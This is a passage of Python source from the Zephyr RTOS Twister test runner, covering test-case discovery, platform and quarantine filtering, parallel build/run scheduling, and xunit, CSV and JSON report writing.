Fore.RED if results.failed > 0 else Fore.RESET, results.failed, Fore.RESET ) ) sys.stdout.flush() def cmake(self): instance = self.instance args = self.testcase.extra_args[:] args += self.extra_args if instance.handler: args += instance.handler.args # merge overlay files into one variable def extract_overlays(args): re_overlay = re.compile('OVERLAY_CONFIG=(.*)') other_args = [] overlays = [] for arg in args: match = re_overlay.search(arg) if match: overlays.append(match.group(1).strip('\'"')) else: other_args.append(arg) args[:] = other_args return overlays overlays = extract_overlays(args) if os.path.exists(os.path.join(instance.build_dir, "twister", "testcase_extra.conf")): overlays.append(os.path.join(instance.build_dir, "twister", "testcase_extra.conf")) if overlays: args.append("OVERLAY_CONFIG=\"%s\"" % (" ".join(overlays))) res = self.run_cmake(args) return res def build(self): res = self.run_build(['--build', self.build_dir]) return res def run(self): instance = self.instance if instance.handler: if instance.handler.type_str == "device": instance.handler.suite = self.suite instance.handler.handle() sys.stdout.flush() class TestSuite(DisablePyTestCollectionMixin): config_re = re.compile('(CONFIG_[A-Za-z0-9_]+)[=]\"?([^\"]*)\"?$') dt_re = re.compile('([A-Za-z0-9_]+)[=]\"?([^\"]*)\"?$') tc_schema = scl.yaml_load( os.path.join(ZEPHYR_BASE, "scripts", "schemas", "twister", "testcase-schema.yaml")) quarantine_schema = scl.yaml_load( os.path.join(ZEPHYR_BASE, "scripts", "schemas", "twister", "quarantine-schema.yaml")) testcase_valid_keys = {"tags": {"type": "set", "required": False}, "type": {"type": "str", "default": "integration"}, "extra_args": {"type": "list"}, "extra_configs": {"type": "list"}, "build_only": {"type": "bool", "default": False}, "build_on_all": {"type": "bool", "default": False}, "skip": {"type": "bool", "default": False}, "slow": {"type": "bool", "default": False}, "timeout": {"type": "int", "default": 60}, "min_ram": {"type": "int", "default": 8}, "depends_on": {"type": "set"}, "min_flash": {"type": "int", "default": 32}, "arch_allow": {"type": "set"}, "arch_exclude": {"type": "set"}, "extra_sections": {"type": "list", "default": []}, "integration_platforms": {"type": "list", "default": []}, "platform_exclude": {"type": "set"}, "platform_allow": {"type": "set"}, "toolchain_exclude": {"type": "set"}, "toolchain_allow": {"type": "set"}, "filter": {"type": "str"}, "harness": {"type": "str"}, "harness_config": {"type": "map", "default": {}} } RELEASE_DATA = os.path.join(ZEPHYR_BASE, "scripts", "release", "twister_last_release.csv") SAMPLE_FILENAME = 'sample.yaml' TESTCASE_FILENAME = 'testcase.yaml' def __init__(self, board_root_list=[], testcase_roots=[], outdir=None): self.roots = testcase_roots if not isinstance(board_root_list, list): self.board_roots = [board_root_list] else: self.board_roots = board_root_list # Testsuite Options self.coverage_platform = [] self.build_only = False self.cmake_only = False self.cleanup = False self.enable_slow = False self.device_testing = False self.fixtures = [] self.enable_coverage = False self.enable_ubsan = False self.enable_lsan = False self.enable_asan = False self.enable_valgrind = False self.extra_args = [] self.inline_logs = False self.enable_sizes_report = False self.west_flash = None self.west_runner = None self.generator = None self.generator_cmd = None self.warnings_as_errors = True self.overflow_as_errors = False self.quarantine_verify = False # Keep track of which test cases we've filtered out and why self.testcases = {} self.quarantine = {} self.platforms = [] self.selected_platforms = [] self.filtered_platforms = [] self.default_platforms = [] self.outdir = os.path.abspath(outdir) self.discards = {} self.load_errors = 0 self.instances = dict() self.total_platforms = 0 self.start_time = 0 self.duration = 0 self.warnings = 0 # hardcoded for now self.duts = [] # run integration tests only self.integration = False self.pipeline = None self.version = "NA" def check_zephyr_version(self): try: subproc = subprocess.run(["git", "describe", "--abbrev=12"], stdout=subprocess.PIPE, universal_newlines=True, cwd=ZEPHYR_BASE) if subproc.returncode == 0: self.version = subproc.stdout.strip() logger.info(f"Zephyr version: {self.version}") except OSError: logger.info("Cannot read zephyr version.") def get_platform_instances(self, platform): filtered_dict = {k:v for k,v in self.instances.items() if k.startswith(platform + "/")} return filtered_dict def config(self): logger.info("coverage platform: {}".format(self.coverage_platform)) # Debug Functions @staticmethod def info(what): sys.stdout.write(what + "\n") sys.stdout.flush() def update_counting(self, results=None, initial=False): results.skipped_configs = 0 results.skipped_cases = 0 for instance in self.instances.values(): if initial: results.cases += len(instance.testcase.cases) if instance.status == 'skipped': results.skipped_configs += 1 results.skipped_cases += len(instance.testcase.cases) elif instance.status == "passed": results.passed += 1 for res in instance.results.values(): if res == 'SKIP': results.skipped_cases += 1 def compare_metrics(self, filename): # name, datatype, lower results better interesting_metrics = [("ram_size", int, True), ("rom_size", int, True)] if not os.path.exists(filename): logger.error("Cannot compare metrics, %s not found" % filename) return [] results = [] saved_metrics = {} with open(filename) as fp: cr = csv.DictReader(fp) for row in cr: d = {} for m, _, _ in interesting_metrics: d[m] = row[m] saved_metrics[(row["test"], row["platform"])] = d for instance in self.instances.values(): mkey = (instance.testcase.name, instance.platform.name) if mkey not in saved_metrics: continue sm = saved_metrics[mkey] for metric, mtype, lower_better in interesting_metrics: if metric not in instance.metrics: continue if sm[metric] == "": continue delta = instance.metrics.get(metric, 0) - mtype(sm[metric]) if delta == 0: continue results.append((instance, metric, instance.metrics.get(metric, 0), delta, lower_better)) return results def footprint_reports(self, report, show_footprint, all_deltas, footprint_threshold, last_metrics): if not report: return logger.debug("running footprint_reports") deltas = self.compare_metrics(report) warnings = 0 if deltas and show_footprint: for i, metric, value, delta, lower_better in deltas: if not all_deltas and ((delta < 0 and lower_better) or (delta > 0 and not lower_better)): continue percentage = 0 if value > delta: percentage = (float(delta) / float(value - delta)) if not all_deltas and (percentage < (footprint_threshold / 100.0)): continue logger.info("{:<25} {:<60} {}{}{}: {} {:<+4}, is now {:6} {:+.2%}".format( i.platform.name, i.testcase.name, Fore.YELLOW, "INFO" if all_deltas else "WARNING", Fore.RESET, metric, delta, value, percentage)) warnings += 1 if warnings: logger.warning("Deltas based on metrics from last %s" % ("release" if not last_metrics else "run")) def summary(self, results, unrecognized_sections): failed = 0 run = 0 for instance in self.instances.values(): if instance.status == "failed": failed += 1 elif instance.metrics.get("unrecognized") and not unrecognized_sections: logger.error("%sFAILED%s: %s has unrecognized binary sections: %s" % (Fore.RED, Fore.RESET, instance.name, str(instance.metrics.get("unrecognized", [])))) failed += 1 if instance.metrics.get('handler_time', None): run += 1 if results.total and results.total != results.skipped_configs: pass_rate = (float(results.passed) / float(results.total - results.skipped_configs)) else: pass_rate = 0 logger.info( "{}{} of {}{} test configurations passed ({:.2%}), {}{}{} failed, {} skipped with {}{}{} warnings in {:.2f} seconds".format( Fore.RED if failed else Fore.GREEN, results.passed, results.total - results.skipped_configs, Fore.RESET, pass_rate, Fore.RED if results.failed else Fore.RESET, results.failed, Fore.RESET, results.skipped_configs, Fore.YELLOW if self.warnings else Fore.RESET, self.warnings, Fore.RESET, self.duration)) self.total_platforms = len(self.platforms) # if we are only building, do not report about tests being executed. if self.platforms and not self.build_only: logger.info("In total {} test cases were executed, {} skipped on {} out of total {} platforms ({:02.2f}%)".format( results.cases - results.skipped_cases, results.skipped_cases, len(self.filtered_platforms), self.total_platforms, (100 * len(self.filtered_platforms) / len(self.platforms)) )) logger.info(f"{Fore.GREEN}{run}{Fore.RESET} test configurations executed on platforms, \ {Fore.RED}{results.total - run - results.skipped_configs}{Fore.RESET} test configurations were only built.") def save_reports(self, name, suffix, report_dir, no_update, release, only_failed, platform_reports, json_report): if not self.instances: return logger.info("Saving reports...") if name: report_name = name else: report_name = "twister" if report_dir: os.makedirs(report_dir, exist_ok=True) filename = os.path.join(report_dir, report_name) outdir = report_dir else: filename = os.path.join(self.outdir, report_name) outdir = self.outdir if suffix: filename = "{}_{}".format(filename, suffix) if not no_update: self.xunit_report(filename + ".xml", full_report=False, append=only_failed, version=self.version) self.xunit_report(filename + "_report.xml", full_report=True, append=only_failed, version=self.version) self.csv_report(filename + ".csv") if json_report: self.json_report(filename + ".json", append=only_failed, version=self.version) if platform_reports: self.target_report(outdir, suffix, append=only_failed) if self.discards: self.discard_report(filename + "_discard.csv") if release: self.csv_report(self.RELEASE_DATA) def add_configurations(self): for board_root in self.board_roots: board_root = os.path.abspath(board_root) logger.debug("Reading platform configuration files under %s..." % board_root) for file in glob.glob(os.path.join(board_root, "*", "*", "*.yaml")): try: platform = Platform() platform.load(file) if platform.name in [p.name for p in self.platforms]: logger.error(f"Duplicate platform {platform.name} in {file}") raise Exception(f"Duplicate platform identifier {platform.name} found") if platform.twister: self.platforms.append(platform) if platform.default: self.default_platforms.append(platform.name) except RuntimeError as e: logger.error("E: %s: can't load: %s" % (file, e)) self.load_errors += 1 def get_all_tests(self): tests = [] for _, tc in self.testcases.items(): for case in tc.cases: tests.append(case) return tests @staticmethod def get_toolchain(): toolchain_script = Path(ZEPHYR_BASE) / Path('cmake/verify-toolchain.cmake') result = CMake.run_cmake_script([toolchain_script, "FORMAT=json"]) try: if result['returncode']: raise TwisterRuntimeError("E: Variable ZEPHYR_TOOLCHAIN_VARIANT is not defined") except Exception as e: print(str(e)) sys.exit(2) toolchain = json.loads(result['stdout'])['ZEPHYR_TOOLCHAIN_VARIANT'] logger.info(f"Using '{toolchain}' toolchain.") return toolchain def add_testcases(self, testcase_filter=[]): for root in self.roots: root = os.path.abspath(root) logger.debug("Reading test case configuration files under %s..." % root) for dirpath, _, filenames in os.walk(root, topdown=True): if self.SAMPLE_FILENAME in filenames: filename = self.SAMPLE_FILENAME elif self.TESTCASE_FILENAME in filenames: filename = self.TESTCASE_FILENAME else: continue logger.debug("Found possible test case in " + dirpath) tc_path = os.path.join(dirpath, filename) try: parsed_data = TwisterConfigParser(tc_path, self.tc_schema) parsed_data.load() tc_path = os.path.dirname(tc_path) workdir = os.path.relpath(tc_path, root) for name in parsed_data.tests.keys(): tc = TestCase(root, workdir, name) tc_dict = parsed_data.get_test(name, self.testcase_valid_keys) tc.source_dir = tc_path tc.yamlfile = tc_path tc.type = tc_dict["type"] tc.tags = tc_dict["tags"] tc.extra_args = tc_dict["extra_args"] tc.extra_configs = tc_dict["extra_configs"] tc.arch_allow = tc_dict["arch_allow"] tc.arch_exclude = tc_dict["arch_exclude"] tc.skip = tc_dict["skip"] tc.platform_exclude = tc_dict["platform_exclude"] tc.platform_allow = tc_dict["platform_allow"] tc.toolchain_exclude = tc_dict["toolchain_exclude"] tc.toolchain_allow = tc_dict["toolchain_allow"] tc.tc_filter = tc_dict["filter"] tc.timeout = tc_dict["timeout"] tc.harness = tc_dict["harness"] tc.harness_config = tc_dict["harness_config"] if tc.harness == 'console' and not tc.harness_config: raise Exception('Harness config error: console harness defined without a configuration.') tc.build_only = tc_dict["build_only"] tc.build_on_all = tc_dict["build_on_all"] tc.slow = tc_dict["slow"] tc.min_ram = tc_dict["min_ram"] tc.depends_on = tc_dict["depends_on"] tc.min_flash = tc_dict["min_flash"] tc.extra_sections = tc_dict["extra_sections"] tc.integration_platforms = tc_dict["integration_platforms"] tc.parse_subcases(tc_path) if testcase_filter: if tc.name and tc.name in testcase_filter: self.testcases[tc.name] = tc else: self.testcases[tc.name] = tc except Exception as e: logger.error("%s: can't load (skipping): %s" % (tc_path, e)) self.load_errors += 1 return len(self.testcases) def get_platform(self, name): selected_platform = None for platform in self.platforms: if platform.name == name: selected_platform = platform break return selected_platform def load_quarantine(self, file): """ Loads quarantine list from the given yaml file. Creates a dictionary of all tests configurations (platform + scenario: comment) that shall be skipped due to quarantine """ # Load yaml into quarantine_yaml quarantine_yaml = scl.yaml_load_verify(file, self.quarantine_schema) # Create quarantine_list with a product of the listed # platforms and scenarios for each entry in quarantine yaml quarantine_list = [] for quar_dict in quarantine_yaml: if quar_dict['platforms'][0] == "all": plat = [p.name for p in self.platforms] else: plat = quar_dict['platforms'] comment = quar_dict.get('comment', "NA") quarantine_list.append([{".".join([p, s]): comment} for p in plat for s in quar_dict['scenarios']]) # Flatten the quarantine_list quarantine_list = [it for sublist in quarantine_list for it in sublist] # Change quarantine_list into a dictionary for d in quarantine_list: self.quarantine.update(d) def load_from_file(self, file, filter_status=[], filter_platform=[]): try: with open(file, "r") as fp: cr = csv.DictReader(fp) instance_list = [] for row in cr: if row["status"] in filter_status: continue test = row["test"] platform = self.get_platform(row["platform"]) if filter_platform and platform.name not in filter_platform: continue instance = TestInstance(self.testcases[test], platform, self.outdir) if self.device_testing: tfilter = 'runnable' else: tfilter = 'buildable' instance.run = instance.check_runnable( self.enable_slow, tfilter, self.fixtures ) instance.create_overlay(platform, self.enable_asan, self.enable_ubsan, self.enable_coverage, self.coverage_platform) instance_list.append(instance) self.add_instances(instance_list) except KeyError as e: logger.error("Key error while parsing tests file.({})".format(str(e))) sys.exit(2) except FileNotFoundError as e: logger.error("Couldn't find input file with list of tests. ({})".format(e)) sys.exit(2) def apply_filters(self, **kwargs): toolchain = self.get_toolchain() discards = {} platform_filter = kwargs.get('platform') exclude_platform = kwargs.get('exclude_platform', []) testcase_filter = kwargs.get('run_individual_tests', []) arch_filter = kwargs.get('arch') tag_filter = kwargs.get('tag') exclude_tag = kwargs.get('exclude_tag') all_filter = kwargs.get('all') runnable = kwargs.get('runnable') force_toolchain = kwargs.get('force_toolchain') force_platform = kwargs.get('force_platform') emu_filter = kwargs.get('emulation_only') logger.debug("platform filter: " + str(platform_filter)) logger.debug(" arch_filter: " + str(arch_filter)) logger.debug(" tag_filter: " + str(tag_filter)) logger.debug(" exclude_tag: " + str(exclude_tag)) default_platforms = False emulation_platforms = False if all_filter: logger.info("Selecting all possible platforms per test case") # When --all used, any --platform arguments ignored platform_filter = [] elif not platform_filter and not emu_filter: logger.info("Selecting default platforms per test case") default_platforms = True elif emu_filter: logger.info("Selecting emulation platforms per test case") emulation_platforms = True if platform_filter: platforms = list(filter(lambda p: p.name in platform_filter, self.platforms)) elif emu_filter: platforms = list(filter(lambda p: p.simulation != 'na', self.platforms)) elif arch_filter: platforms = list(filter(lambda p: p.arch in arch_filter, self.platforms)) elif default_platforms: platforms = list(filter(lambda p: p.default, self.platforms)) else: platforms = self.platforms logger.info("Building initial testcase list...") for tc_name, tc in self.testcases.items(): if tc.build_on_all and not platform_filter: platform_scope = self.platforms elif tc.integration_platforms and self.integration: platform_scope = list(filter(lambda item: item.name in tc.integration_platforms, \ self.platforms)) else: platform_scope = platforms integration = self.integration and tc.integration_platforms # If there isn't any overlap between the platform_allow list and the platform_scope # we set the scope to the platform_allow list if tc.platform_allow and not platform_filter and not integration: a = set(platform_scope) b = set(filter(lambda item: item.name in tc.platform_allow, self.platforms)) c = a.intersection(b) if not c: platform_scope = list(filter(lambda item: item.name in tc.platform_allow, \ self.platforms)) # list of instances per testcase, aka configurations. instance_list = [] for plat in platform_scope: instance = TestInstance(tc, plat, self.outdir) if runnable: tfilter = 'runnable' else: tfilter = 'buildable' instance.run = instance.check_runnable( self.enable_slow, tfilter, self.fixtures ) for t in tc.cases: instance.results[t] = None if runnable and self.duts: for h in self.duts: if h.platform == plat.name: if tc.harness_config.get('fixture') in h.fixtures: instance.run = True if not force_platform and plat.name in exclude_platform: discards[instance] = discards.get(instance, "Platform is excluded on command line.") if (plat.arch == "unit") != (tc.type == "unit"): # Discard silently continue if runnable and not instance.run: discards[instance] = discards.get(instance, "Not runnable on device") if self.integration and tc.integration_platforms and plat.name not in tc.integration_platforms: discards[instance] = discards.get(instance, "Not part of integration platforms") if tc.skip: discards[instance] = discards.get(instance, "Skip filter") if tag_filter and not tc.tags.intersection(tag_filter): discards[instance] = discards.get(instance, "Command line testcase tag filter") if exclude_tag and tc.tags.intersection(exclude_tag): discards[instance] = discards.get(instance, "Command line testcase exclude filter") if testcase_filter and tc_name not in testcase_filter: discards[instance] = discards.get(instance, "Testcase name filter") if arch_filter and plat.arch not in arch_filter: discards[instance] = discards.get(instance, "Command line testcase arch filter") if not force_platform: if tc.arch_allow and plat.arch not in tc.arch_allow: discards[instance] = discards.get(instance, "Not in test case arch allow list") if tc.arch_exclude and plat.arch in tc.arch_exclude: discards[instance] = discards.get(instance, "In test case arch exclude") if tc.platform_exclude and plat.name in tc.platform_exclude: discards[instance] = discards.get(instance, "In test case platform exclude") if tc.toolchain_exclude and toolchain in tc.toolchain_exclude: discards[instance] = discards.get(instance, "In test case toolchain exclude") if platform_filter and plat.name not in platform_filter: discards[instance] = discards.get(instance, "Command line platform filter") if tc.platform_allow and plat.name not in tc.platform_allow: discards[instance] = discards.get(instance, "Not in testcase platform allow list") if tc.toolchain_allow and toolchain not in tc.toolchain_allow: discards[instance] = discards.get(instance, "Not in testcase toolchain allow list") if not plat.env_satisfied: discards[instance] = discards.get(instance, "Environment ({}) not satisfied".format(", ".join(plat.env))) if not force_toolchain \ and toolchain and (toolchain not in plat.supported_toolchains) \ and tc.type != 'unit': discards[instance] = discards.get(instance, "Not supported by the toolchain") if plat.ram < tc.min_ram: discards[instance] = discards.get(instance, "Not enough RAM") if tc.depends_on: dep_intersection = tc.depends_on.intersection(set(plat.supported)) if dep_intersection != set(tc.depends_on): discards[instance] = discards.get(instance, "No hardware support") if plat.flash < tc.min_flash: discards[instance] = discards.get(instance, "Not enough FLASH") if set(plat.ignore_tags) & tc.tags: discards[instance] = discards.get(instance, "Excluded tags per platform (exclude_tags)") if plat.only_tags and not set(plat.only_tags) & tc.tags: discards[instance] = discards.get(instance, "Excluded tags per platform (only_tags)") test_configuration = ".".join([instance.platform.name, instance.testcase.id]) # skip quarantined tests if test_configuration in self.quarantine and not self.quarantine_verify: discards[instance] = discards.get(instance, f"Quarantine: {self.quarantine[test_configuration]}") # run only quarantined test to verify their statuses (skip everything else) if self.quarantine_verify and test_configuration not in self.quarantine: discards[instance] = discards.get(instance, "Not under quarantine") # if nothing stopped us until now, it means this configuration # needs to be added. instance_list.append(instance) # no configurations, so jump to next testcase if not instance_list: continue # if twister was launched with no platform options at all, we # take all default platforms if default_platforms and not tc.build_on_all and not integration: if tc.platform_allow: a = set(self.default_platforms) b = set(tc.platform_allow) c = a.intersection(b) if c: aa = list(filter(lambda tc: tc.platform.name in c, instance_list)) self.add_instances(aa) else: self.add_instances(instance_list) else: instances = list(filter(lambda tc: tc.platform.default, instance_list)) self.add_instances(instances) elif integration: instances = list(filter(lambda item: item.platform.name in tc.integration_platforms, instance_list)) self.add_instances(instances) elif emulation_platforms: self.add_instances(instance_list) for instance in list(filter(lambda inst: not inst.platform.simulation != 'na', instance_list)): discards[instance] = discards.get(instance, "Not an emulated platform") else: self.add_instances(instance_list) for _, case in self.instances.items(): case.create_overlay(case.platform, self.enable_asan, self.enable_ubsan, self.enable_coverage, self.coverage_platform) self.discards = discards self.selected_platforms = set(p.platform.name for p in self.instances.values()) for instance in self.discards: instance.reason = self.discards[instance] # If integration mode is on all skips on integration_platforms are treated as errors. if self.integration and instance.platform.name in instance.testcase.integration_platforms \ and "Quarantine" not in instance.reason: instance.status = "error" instance.reason += " but is one of the integration platforms" instance.fill_results_by_status() self.instances[instance.name] = instance else: instance.status = "skipped" instance.fill_results_by_status() self.filtered_platforms = set(p.platform.name for p in self.instances.values() if p.status != "skipped" ) return discards def add_instances(self, instance_list): for instance in instance_list: self.instances[instance.name] = instance @staticmethod def calc_one_elf_size(instance): if instance.status not in ["error", "failed", "skipped"]: if instance.platform.type != "native": size_calc = instance.calculate_sizes() instance.metrics["ram_size"] = size_calc.get_ram_size() instance.metrics["rom_size"] = size_calc.get_rom_size() instance.metrics["unrecognized"] = size_calc.unrecognized_sections() else: instance.metrics["ram_size"] = 0 instance.metrics["rom_size"] = 0 instance.metrics["unrecognized"] = [] instance.metrics["handler_time"] = instance.handler.duration if instance.handler else 0 def add_tasks_to_queue(self, pipeline, build_only=False, test_only=False): for instance in self.instances.values(): if build_only: instance.run = False if test_only and instance.run: pipeline.put({"op": "run", "test": instance}) else: if instance.status not in ['passed', 'skipped', 'error']: logger.debug(f"adding {instance.name}") instance.status = None pipeline.put({"op": "cmake", "test": instance}) # If the instance got 'error' status before, proceed to the report stage if instance.status == "error": pipeline.put({"op": "report", "test": instance}) def pipeline_mgr(self, pipeline, done_queue, lock, results): while True: try: task = pipeline.get_nowait() except queue.Empty: break else: test = task['test'] pb = ProjectBuilder(self, test, lsan=self.enable_lsan, asan=self.enable_asan, ubsan=self.enable_ubsan, coverage=self.enable_coverage, extra_args=self.extra_args, device_testing=self.device_testing, cmake_only=self.cmake_only, cleanup=self.cleanup, valgrind=self.enable_valgrind, inline_logs=self.inline_logs, generator=self.generator, generator_cmd=self.generator_cmd, verbose=self.verbose, warnings_as_errors=self.warnings_as_errors, overflow_as_errors=self.overflow_as_errors ) pb.process(pipeline, done_queue, task, lock, results) return True def execute(self, pipeline, done, results): lock = Lock() logger.info("Adding tasks to the queue...") self.add_tasks_to_queue(pipeline, self.build_only, self.test_only) logger.info("Added initial list of jobs to queue") processes = [] for job in range(self.jobs): logger.debug(f"Launch process {job}") p = Process(target=self.pipeline_mgr, args=(pipeline, done, lock, results, )) processes.append(p) p.start() try: for p in processes: p.join() except KeyboardInterrupt: logger.info("Execution interrupted") for p in processes: p.terminate() # FIXME: This needs to move out. if self.enable_size_report and not self.cmake_only: # Parallelize size calculation executor = concurrent.futures.ThreadPoolExecutor(self.jobs) futures = [executor.submit(self.calc_one_elf_size, instance) for instance in self.instances.values()] concurrent.futures.wait(futures) else: for instance in self.instances.values(): instance.metrics["ram_size"] = 0 instance.metrics["rom_size"] = 0 instance.metrics["handler_time"] = instance.handler.duration if instance.handler else 0 instance.metrics["unrecognized"] = [] return results def discard_report(self, filename): try: if not self.discards: raise TwisterRuntimeError("apply_filters() hasn't been run!") except Exception as e: logger.error(str(e)) sys.exit(2) with open(filename, "wt") as csvfile: fieldnames = ["test", "arch", "platform", "reason"] cw = csv.DictWriter(csvfile, fieldnames, lineterminator=os.linesep) cw.writeheader() for instance, reason in sorted(self.discards.items()): rowdict = {"test": instance.testcase.name, "arch": instance.platform.arch, "platform": instance.platform.name, "reason": reason} cw.writerow(rowdict) def target_report(self, outdir, suffix, append=False): platforms = {inst.platform.name for _, inst in self.instances.items()} for platform in platforms: if suffix: filename = os.path.join(outdir,"{}_{}.xml".format(platform, suffix)) else: filename = os.path.join(outdir,"{}.xml".format(platform)) self.xunit_report(filename, platform, full_report=True, append=append, version=self.version) @staticmethod def process_log(log_file): filtered_string = "" if os.path.exists(log_file): with open(log_file, "rb") as f: log = f.read().decode("utf-8") filtered_string = ''.join(filter(lambda x: x in string.printable, log)) return filtered_string def xunit_report(self, filename, platform=None, full_report=False, append=False, version="NA"): total = 0 fails = passes = errors = skips = 0 if platform: selected = [platform] logger.info(f"Writing target report for {platform}...") else: logger.info(f"Writing xunit report {filename}...") selected = self.selected_platforms if os.path.exists(filename) and append: tree = ET.parse(filename) eleTestsuites = tree.getroot() else: eleTestsuites = ET.Element('testsuites') for p in selected: inst = self.get_platform_instances(p) fails = 0 passes = 0 errors = 0 skips = 0 duration = 0 for _, instance in inst.items(): handler_time = instance.metrics.get('handler_time', 0) duration += handler_time if full_report and instance.run: for k in instance.results.keys(): if instance.results[k] == 'PASS': passes += 1 elif instance.results[k] == 'BLOCK': errors += 1 elif instance.results[k] == 'SKIP' or instance.status in ['skipped']: skips += 1 else: fails += 1 else: if instance.status in ["error", "failed", "timeout", "flash_error"]: if instance.reason in ['build_error', 'handler_crash']: errors += 1 else: fails += 1 elif instance.status == 'skipped': skips += 1 elif instance.status == 'passed': passes += 1 else: if instance.status: logger.error(f"{instance.name}: Unknown status {instance.status}") else: logger.error(f"{instance.name}: No status") total = (errors + passes + fails + skips) # do not produce a report if no tests were actually run (only built) if total == 0: continue run = p eleTestsuite = None # When we re-run the tests, we re-use the results and update only with # the newly run tests. if os.path.exists(filename) and append: ts = eleTestsuites.findall(f'testsuite/[@name="{p}"]') if ts: eleTestsuite = ts[0] eleTestsuite.attrib['failures'] = "%d" % fails eleTestsuite.attrib['errors'] = "%d" % errors eleTestsuite.attrib['skipped'] = "%d" % skips else: logger.info(f"Did not find any existing results for {p}") eleTestsuite = ET.SubElement(eleTestsuites, 'testsuite', name=run, time="%f" % duration, tests="%d" % (total), failures="%d" % fails, errors="%d" % (errors), skipped="%s" % (skips)) eleTSPropetries = ET.SubElement(eleTestsuite, 'properties') # Multiple 'property' can be added to 'properties' # differing by name and value ET.SubElement(eleTSPropetries, 'property', name="version", value=version) else: eleTestsuite = ET.SubElement(eleTestsuites, 'testsuite', name=run, time="%f" % duration, tests="%d" % (total), failures="%d" % fails, errors="%d" % (errors), skipped="%s" % (skips)) eleTSPropetries = ET.SubElement(eleTestsuite, 'properties') # Multiple 'property' can be added to 'properties' # differing by name and value ET.SubElement(eleTSPropetries, 'property', name="version", value=version) for _, instance in inst.items(): if full_report: tname = os.path.basename(instance.testcase.name) else: tname = instance.testcase.id handler_time = instance.metrics.get('handler_time', 0) if full_report: for k in instance.results.keys(): # remove testcases that are being re-run from exiting reports for tc in eleTestsuite.findall(f'testcase/[@name="{k}"]'): eleTestsuite.remove(tc) classname = ".".join(tname.split(".")[:2]) eleTestcase = ET.SubElement( eleTestsuite, 'testcase', classname=classname, name="%s" % (k), time="%f" % handler_time) if instance.results[k] in ['FAIL', 'BLOCK'] or \ (not instance.run and instance.status in ["error", "failed", "timeout"]): if instance.results[k] == 'FAIL': el = ET.SubElement( eleTestcase, 'failure', type="failure", message="failed") else: el = ET.SubElement( eleTestcase, 'error', type="failure", message=instance.reason) log_root = os.path.join(self.outdir, instance.platform.name, instance.testcase.name) log_file = os.path.join(log_root, "handler.log") el.text = self.process_log(log_file) elif instance.results[k] == 'PASS' \ or (not instance.run and instance.status in ["passed"]): pass elif instance.results[k] == 'SKIP' or (instance.status in ["skipped"]): el = ET.SubElement(eleTestcase, 'skipped', type="skipped", message=instance.reason) else: el = ET.SubElement( eleTestcase, 'error', type="error", message=f"{instance.reason}") else: if platform: classname = ".".join(instance.testcase.name.split(".")[:2]) else: classname = p + ":" + ".".join(instance.testcase.name.split(".")[:2]) # remove testcases that are being re-run from exiting reports for tc in eleTestsuite.findall(f'testcase/[@classname="{classname}"][@name="{instance.testcase.name}"]'): eleTestsuite.remove(tc) eleTestcase = ET.SubElement(eleTestsuite, 'testcase', classname=classname, name="%s" % (instance.testcase.name), time="%f" % handler_time) if instance.status in ["error", "failed", "timeout", "flash_error"]: failure = ET.SubElement( eleTestcase, 'failure', type="failure", message=instance.reason) log_root = ("%s/%s/%s" % (self.outdir, instance.platform.name, instance.testcase.name)) bl = os.path.join(log_root, "build.log") hl = os.path.join(log_root, "handler.log") log_file = bl if instance.reason != 'Build error': if os.path.exists(hl): log_file = hl else: log_file = bl failure.text = self.process_log(log_file) elif instance.status == "skipped": ET.SubElement(eleTestcase, 'skipped', type="skipped", message="Skipped") result = ET.tostring(eleTestsuites) with open(filename, 'wb') as report: report.write(result) return fails, passes, errors, skips def csv_report(self, filename): with open(filename, "wt") as csvfile: fieldnames = ["test", "arch", "platform", "status", "extra_args", "handler", "handler_time", "ram_size", "rom_size"] cw = csv.DictWriter(csvfile, fieldnames, lineterminator=os.linesep) cw.writeheader() for instance in self.instances.values(): rowdict = {"test": instance.testcase.name, "arch": instance.platform.arch, "platform": instance.platform.name, "extra_args": " ".join(instance.testcase.extra_args), "handler": instance.platform.simulation} rowdict["status"] = instance.status if instance.status not in ["error", "failed", "timeout"]: if instance.handler: rowdict["handler_time"] = instance.metrics.get("handler_time", 0) ram_size = instance.metrics.get("ram_size", 0) rom_size = instance.metrics.get("rom_size", 0) rowdict["ram_size"] = ram_size rowdict["rom_size"] = rom_size cw.writerow(rowdict) def json_report(self, filename, append=False, version="NA"): logger.info(f"Writing JSON report {filename}") report = {} selected = self.selected_platforms report["environment"] = {"os": os.name, "zephyr_version": version, "toolchain": self.get_toolchain() } json_data = {} if os.path.exists(filename) and append: with open(filename, 'r') as json_file: json_data = json.load(json_file) suites = json_data.get("testsuites", []) if suites: suite = suites[0] testcases = suite.get("testcases", []) else: suite = {} testcases = [] for p in selected: inst = self.get_platform_instances(p) for _, instance in inst.items(): testcase = {} handler_log = os.path.join(instance.build_dir, "handler.log") build_log = os.path.join(instance.build_dir, "build.log") device_log = os.path.join(instance.build_dir, "device.log") handler_time = instance.metrics.get('handler_time', 0) ram_size = instance.metrics.get ("ram_size", 0) rom_size = instance.metrics.get("rom_size",0) for k in instance.results.keys(): testcases = list(filter(lambda d: not (d.get('testcase') == k and d.get('platform') == p), testcases )) testcase = {"testcase": k, "arch": instance.platform.arch, "platform": p, } if ram_size: testcase["ram_size"] = ram_size if rom_size: testcase["rom_size"] = rom_size if instance.results[k] in ["PASS"]: testcase["status"] = "passed" if instance.handler: testcase["execution_time"] = handler_time elif instance.results[k] in ['FAIL', 'BLOCK'] or instance.status in ["error", "failed", "timeout"]: testcase["status"] = "failed" testcase["reason"] = instance.reason testcase["execution_time"] = handler_time if os.path.exists(handler_log): testcase["test_output"] = self.process_log(handler_log) elif os.path.exists(device_log): testcase["device_log"] = self.process_log(device_log) else: testcase["build_log"] = self.process_log(build_log) else: testcase["status"] = "skipped" testcase["reason"] = instance.reason testcases.append(testcase) suites = [ {"testcases": testcases} ] report["testsuites"] = suites with open(filename, "wt") as json_file: json.dump(report, json_file, indent=4, separators=(',',':')) def get_testcase(self, identifier): results = [] for _, tc in self.testcases.items(): for case in tc.cases: if case == identifier: results.append(tc) return results class CoverageTool: """ Base class for every supported coverage tool """ def __init__(self): self.gcov_tool = None self.base_dir = None @staticmethod def factory(tool): if tool == 'lcov': t = Lcov() elif tool == 'gcovr': t = Gcovr() else: logger.error("Unsupported coverage tool specified: {}".format(tool)) return None logger.debug(f"Select {tool} as the coverage tool...") return t @staticmethod def retrieve_gcov_data(input_file): logger.debug("Working on %s" % input_file) extracted_coverage_info = {} capture_data = False capture_complete = False with open(input_file, 'r') as fp: for line in fp.readlines(): if re.search("GCOV_COVERAGE_DUMP_START", line): capture_data = True continue if re.search("GCOV_COVERAGE_DUMP_END", line): capture_complete = True break # 